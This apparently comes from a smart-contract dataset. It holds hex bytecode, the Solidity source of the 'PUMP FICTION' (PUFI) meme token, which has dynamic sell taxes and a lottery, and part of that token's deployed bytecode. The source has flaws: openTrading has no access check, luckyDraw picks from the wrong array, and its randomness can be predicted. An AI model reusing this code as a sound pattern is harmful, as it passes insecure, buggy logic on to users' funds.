5750336001600160a01b03821614806104f957506001600160a01b038116600090815260056020908152604080832033845290915290205460ff165b8061051a57506000828152600460205260409020546001600160a01b031633145b80156105375750806001600160a01b0316846001600160a01b0316145b801561054b57506001600160a01b03831615155b61055457600080fd5b600082815260026020908152604080832080546001600160a01b038089166001600160a01b031992831681179093556004909452828520805490911690559051859391928816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a450505050565b6105df83838360405180602001604052806000815250610998565b505050565b6000818152600260205260409020546001600160a01b031680158015906106615750336001600160a01b038216148061064057506001600160a01b038116600090815260056020908152604080832033845290915290205460ff165b8061066157506000828152600460205260409020546001600160a01b031633145b61066a57600080fd5b600082815260026020908152604080832080546001600160a01b031990811690915560048352818420805490911690556003909152812081905560018054916106b283611402565b909155505060405182906000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6000818152600260205260408120546001600160a01b0316806102f057600080fd5b60006001600160a01b03821661072a57600080fd5b600080545b8015610774576000818152600260205260409020546001600160a01b0316331415610762578161075e81611402565b9250505b8061076c816113b0565b91505061072f565b5092915050565b60078054610305906113c7565b600080815461079690611402565b91829055506107a457600080fd5b60008054815260026020908152604080832080546001600160a01b03191633908117909155835484526003909252808320849055825490519092907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a450565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6108b585858585858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061099892505050565b5050505050565b6000818152600260205260409020546060906001600160a01b0316806108e157600080fd5b600083815260036020908152604091829020549151609160f51b918101919091526022810182905261092490604201604051602081830303815290604052610a5d565b60405160200161093491906111d6565b60405160208183030381529060405292505050919050565b60005b818110156105df5761098683838381811061097a57634e487b7160e01b600052603260045260246000fd5b90506020020135610788565b8061099081611402565b91505061094f565b6109a384848461049d565b6109ac83610f10565b15610a5757604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906109e6903390899088908890600401611213565b602060405180830381600087803b158015610a0057600080fd5b505af1158015610a14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a389190611176565b9050630a85bd0160e11b6001600160e01b03198216146108b557600080fd5b50505050565b60606000805b83518160ff161015610ace57838160ff1681518110610a9257634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b031916610ab75781610aaf8161141d565b925050610abc565b610ace565b80610ac68161141d565b915050610a63565b50600060648260ff168551610ae3919061134a565b610aee90608a6112ff565b610af891906112c8565b610b03906001611263565b905060008160ff1667ffffffffffffffff811115610b3157634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610b5a578160200160208202803683370190505b509050600081600081518110610b8057634e487b7160e01b600052603260045260246000fd5b60ff909216602092830291909101909101526001835b86518160ff161015610d09576000878260ff1681518110610bc757634e487b7160e01b600052603260045260246000fd5b016020015160f81c905060005b8360ff168160ff161015610c8857848160ff1681518110610c0557634e487b7160e01b600052603260045260246000fd5b602002602001015160ff16610100610c1d919061131e565b610c27908361127b565b9150610c34603a8361143d565b858260ff1681518110610c5757634e487b7160e01b600052603260045260246000fd5b60ff90921660209283029190910190910152610c74603a836112dc565b915080610c808161141d565b915050610bd4565b505b63ffffffff811615610cf657610ca1603a8261143d565b848460ff1681518110610cc457634e487b7160e01b600052603260045260246000fd5b60ff9092166020928302919091019091015282610ce08161141d565b9350610cef9050603a826112dc565b9050610c8a565b5080610d018161141d565b915050610b96565b508060ff166001148015610d48575081600081518110610d3957634e487b7160e01b600052603260045260246000fd5b602002602001015160ff166000145b15610d51575060005b6000610d5d82866112a3565b60ff1667ffffffffffffffff811115610d8657634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015610db0576020820181803683370190505b50905060005b8560ff168160ff161015610e1557603160f81b828260ff1681518110610dec57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535080610e0d8161141d565b915050610db6565b5060005b8260ff168160ff161015610f05576040518060600160405280603a81526020016114a6603a9139846001610e4d8487611361565b610e579190611361565b60ff1681518110610e7857634e487b7160e01b600052603260045260246000fd5b602002602001015160ff1681518110610ea157634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b03191682610ebb88846112a3565b60ff1681518110610edc57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535080610efd8161141d565b915050610e19565b509695505050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610f445750808214155b949350505050565b80356001600160a01b03811681146102f357600080fd5b600060208284031215610f74578081fd5b610f7d82610f4c565b9392505050565b60008060408385031215610f96578081fd5b610f9f83610f4c565b9150610fad60208401610f4c565b90509250929050565b600080600060608486031215610fca578081fd5b610fd384610f4c565b9250610fe160208501610f4c565b9150604084013590509250925092565b600080600080600060808688031215611008578081fd5b61101186610f4c565b945061101f60208701610f4c565b935060408601359250606086013567ffffffffffffffff80821115611042578283fd5b818801915088601f830112611055578283fd5b813581811115611063578384fd5b896020828501011115611074578384fd5b9699959850939650602001949392505050565b60008060408385031215611099578182fd5b6110a283610f4c565b9150602083013580151581146110b6578182fd5b809150509250929050565b600080604083850312156110d3578182fd5b6110dc83610f4c565b946020939093013593505050565b600080602083850312156110fc578182fd5b823567ffffffffffffffff80821115611113578384fd5b818501915085601f830112611126578384fd5b813581811115611134578485fd5b8660208260051b8501011115611148578485fd5b60209290920196919550909350505050565b60006020828403121561116b578081fd5b8135610f7d8161148c565b600060208284031215611187578081fd5b8151610f7d8161148c565b6000602082840312156111a3578081fd5b5035919050565b600081518084526111c2816020860160208601611384565b601f01601f19169290920160200192915050565b60007468747470733a2f2f697066732e696f2f697066732f60581b82528251611206816015850160208701611384565b9190910160150192915050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611246908301846111aa565b9695505050505050565b600060208252610f7d60208301846111aa565b6000821982111561127657611276611460565b500190565b600063ffffffff80831681851680830382111561129a5761129a611460565b01949350505050565b600060ff821660ff84168060ff038211156112c0576112c0611460565b019392505050565b6000826112d7576112d7611476565b500490565b600063ffffffff808416806112f3576112f3611476565b92169190910492915050565b600081600019048311821515161561131957611319611460565b500290565b600063ffffffff8083168185168183048111821515161561134157611341611460565b02949350505050565b60008282101561135c5761135c611460565b500390565b600060ff821660ff84168082101561137b5761137b611460565b90039392505050565b60005b8381101561139f578181015183820152602001611387565b83811115610a575750506000910152565b6000816113bf576113bf611460565b506000190190565b600181811c908216806113db57607f821691505b602082108114156113fc57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561141657611416611460565b5060010190565b600060ff821660ff81141561143457611434611460565b60010192915050565b600063ffffffff8084168061145457611454611476565b92169190910692915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160e01b0319811681146114a257600080fd5b5056fe31323334353637383941424344454647484a4b4c4d4e505152535455565758595a6162636465666768696a6b6d6e6f707172737475767778797aa264697066735822122005b7ae87103c46e65b0520aa1ec35ab56c81286a902dd1d63c97c8a8bf7ab46464736f6c63430008030033
|
{"success": true, "error": null, "results": {}}
| 7,725 |
0x912ce2d21bc6b525d2a57cb3472f89b2def65d74
|
/**
* PUMP FICTION
* https://t.me/PuFiToken
* pumpfictiontoken.com
* twitter.com/PuFiToken
*
* CHEESY MEME TOKEN LOADED WITH ACTIONS AND MEMES
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
* No buy or sell token limits. Whales are welcome!
* 12% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 30% fee, with NO SELL LIMIT.
* No team tokens, no presale
*
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface PUFI_LOTTERY_Interface {
function sendLottery(address winner) external returns(bool);
}
contract PUFI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10**12 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "PUMP FICTION | t.me/PuFiToken";
string private constant _symbol = "PUFI";
uint8 private constant _decimals = 18;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _lotteryAddress;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private _nextLotteryDraw;
mapping (address => bool) private _lotteryWinners;
address[] private _lotteryClaimed;
address[] private _buyers;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
event LotteryWinner(address _winnerAddress);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_FeeAddress] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[_lotteryAddress] = true;
emit Transfer(address(0), _FeeAddress, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 12;
if(impactFee < 12) {
_impactFee = 12;
} else if(impactFee > 30) {
_impactFee = 30;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.sub(10));
_teamFee = 10;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != _FeeAddress && to != _FeeAddress) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
require(tradingOpen, "Trading not yet enabled.");
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
_taxFee = 2;
_teamFee = 10;
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.mul(80).div(100));
_lotteryAddress.transfer(amount.div(5));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if(_rOwned[recipient] == 0) _buyers.push(recipient);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external {
require(uniswapV2Pair == address(0));
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external {
require(_msgSender() == _FeeAddress);
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function lotteryDriverAddress() public view returns(address) {
return _lotteryAddress;
}
function setLotteryDriverAddress(address payable lottery) external {
require(_msgSender() == _FeeAddress);
_lotteryAddress = lottery;
}
function luckyDraw() public returns(address winnerAddress) {
winnerAddress = address(0);
require(_nextLotteryDraw < block.timestamp,"Try after 6 hours from last draw");
uint256 minHolding = 2 * 10**9 * 10**18;
uint256 rminHolding = minHolding.mul(_getRate());
address[] memory eligibleHolders = new address[](_buyers.length);
uint eligibleHoldersCount;
for (uint256 i = 0; i < _buyers.length; i++) {
if(_rOwned[_buyers[i]] >= rminHolding && !_lotteryWinners[_buyers[i]] && _buyers[i] != uniswapV2Pair){
eligibleHolders[eligibleHoldersCount];
eligibleHoldersCount++;
}
}
if(eligibleHoldersCount > 0){
uint luckyWinner = uint(keccak256(abi.encodePacked(block.timestamp, msg.sender, eligibleHoldersCount))) % eligibleHoldersCount;
winnerAddress = _buyers[luckyWinner];
_lotteryWinners[winnerAddress] = true;
PUFI_LOTTERY_Interface(payable(_lotteryAddress)).sendLottery(winnerAddress);
emit LotteryWinner(winnerAddress);
_nextLotteryDraw = block.timestamp+(6 hours);
}
return winnerAddress;
}
}
|
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063a9fc35a91161008a578063c9567bf911610064578063c9567bf914610527578063cf9c2e411461053e578063db92dbb614610569578063dd62ed3e1461059457610171565b8063a9fc35a9146104a8578063c361c58f146104e5578063c3c8cd801461051057610171565b806370a0823114610396578063715018a6146103d35780638da5cb5b146103ea57806395d89b4114610415578063a9059cbb14610440578063a985ceef1461047d57610171565b806345596e2e1161012357806345596e2e1461029c57806349bd5a5e146102c55780635932ead1146102f057806368a3a6a51461031957806369dffb45146103565780636fc3eaec1461037f57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd1461020957806327f3a72a14610246578063313ce5671461027157610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105d1565b604051610198919061331d565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612ebc565b61060e565b6040516101d59190613302565b60405180910390f35b3480156101ea57600080fd5b506101f361062c565b60405161020091906134df565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612e69565b610641565b60405161023d9190613302565b60405180910390f35b34801561025257600080fd5b5061025b61071a565b60405161026891906134df565b60405180910390f35b34801561027d57600080fd5b5061028661072a565b6040516102939190613554565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be9190612f56565b610733565b005b3480156102d157600080fd5b506102da61081a565b6040516102e791906132be565b60405180910390f35b3480156102fc57600080fd5b5061031760048036038101906103129190612efc565b610840565b005b34801561032557600080fd5b50610340600480360381019061033b9190612da2565b610904565b60405161034d91906134df565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190612dfc565b61095b565b005b34801561038b57600080fd5b50610394610a00565b005b3480156103a257600080fd5b506103bd60048036038101906103b89190612da2565b610a72565b6040516103ca91906134df565b60405180910390f35b3480156103df57600080fd5b506103e8610ac3565b005b3480156103f657600080fd5b506103ff610c16565b60405161040c91906132be565b60405180910390f35b34801561042157600080fd5b5061042a610c3f565b604051610437919061331d565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190612ebc565b610c7c565b6040516104749190613302565b60405180910390f35b34801561048957600080fd5b50610492610c9a565b60405161049f9190613302565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca9190612da2565b610cb1565b6040516104dc91906134df565b60405180910390f35b3480156104f157600080fd5b506104fa610d08565b60405161050791906132be565b60405180910390f35b34801561051c57600080fd5b50610525610d32565b005b34801561053357600080fd5b5061053c610dac565b005b34801561054a57600080fd5b5061055361107e565b60405161056091906132be565b60405180910390f35b34801561057557600080fd5b5061057e61152c565b60405161058b91906134df565b60405180910390f35b3480156105a057600080fd5b506105bb60048036038101906105b69190612e29565b61155e565b6040516105c891906134df565b60405180910390f35b60606040518060400160405280601d81526020017f50554d502046494354494f4e207c20742e6d652f50754669546f6b656e000000815250905090565b600061062261061b6115e5565b84846115ed565b6001905092915050565b60006c0c9f2c9cd04674edea40000000905090565b600061064e8484846117b8565b61070f8461065a6115e5565b61070a85604051806060016040528060288152602001613cae60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106c06115e5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb49092919063ffffffff16565b6115ed565b600190509392505050565b600061072530610a72565b905090565b60006012905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107746115e5565b73ffffffffffffffffffffffffffffffffffffffff161461079457600080fd5b603381106107d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ce906133bf565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161080f91906134df565b60405180910390a150565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108816115e5565b73ffffffffffffffffffffffffffffffffffffffff16146108a157600080fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff166040516108f99190613302565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261095491906136a5565b9050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099c6115e5565b73ffffffffffffffffffffffffffffffffffffffff16146109bc57600080fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a416115e5565b73ffffffffffffffffffffffffffffffffffffffff1614610a6157600080fd5b6000479050610a6f81612018565b50565b6000610abc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612126565b9050919050565b610acb6115e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f9061341f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5055464900000000000000000000000000000000000000000000000000000000815250905090565b6000610c90610c896115e5565b84846117b8565b6001905092915050565b6000601360159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610d0191906136a5565b9050919050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d736115e5565b73ffffffffffffffffffffffffffffffffffffffff1614610d9357600080fd5b6000610d9e30610a72565b9050610da981612194565b50565b600073ffffffffffffffffffffffffffffffffffffffff16601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0757600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e9b30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166c0c9f2c9cd04674edea400000006115ed565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ee157600080fd5b505afa158015610ef5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f199190612dcf565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f7b57600080fd5b505afa158015610f8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb39190612dcf565b6040518363ffffffff1660e01b8152600401610fd09291906132d9565b60206040518083038186803b158015610fe857600080fd5b505afa158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190612dcf565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601360146101000a81548160ff02191690831515021790555050565b600042601454106110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bb9061349f565b60405180910390fd5b60006b06765c793fa10079d0000000905060006110f16110e261241c565b8361244790919063ffffffff16565b9050600060178054905067ffffffffffffffff811115611114576111136138ba565b5b6040519080825280602002602001820160405280156111425781602001602082028036833780820191505090505b509050600080600090505b60178054905081101561134a578360026000601784815481106111735761117261388b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561126f575060156000601783815481106111fa576111f961388b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113075750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16601782815481106112c3